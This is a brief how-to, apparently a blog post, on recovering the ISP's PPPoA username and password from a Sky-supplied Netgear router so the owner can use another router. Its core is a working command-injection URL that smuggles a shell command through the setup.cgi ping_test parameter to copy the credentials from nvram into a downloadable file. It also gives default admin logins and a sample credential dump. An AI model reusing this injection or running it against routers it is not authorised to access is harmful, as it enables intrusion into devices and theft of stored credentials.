Getting the Username & Password from a Sky Broadband Router

If you've joined up with Sky Broadband you'll proberbly have one of there Netgear routers, which is great for most people. If however you prefer to use your own router, there's a problem, Sky won't let you and you can't easily get the information you need from the Sky router. However there is a way using URL injections which are shown below.

First click the link below:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg

Then enter your Sky username & passowrd (normally admin & sky)

Then click the following link and open the file into a text editor:
http://192.168.0.1/netgear.cfg

You'll be presented with a file that looks something like this:
pppoa_username=00123A456B78@skydslpppoa_password=1Ae203a0bbpppoa_idle=0pppoa_ipaddr=

The username is: 00123A456B78@skydsl
and the password is: 1Ae203a0bb

Now you just enter that information into your chosen router and your away.
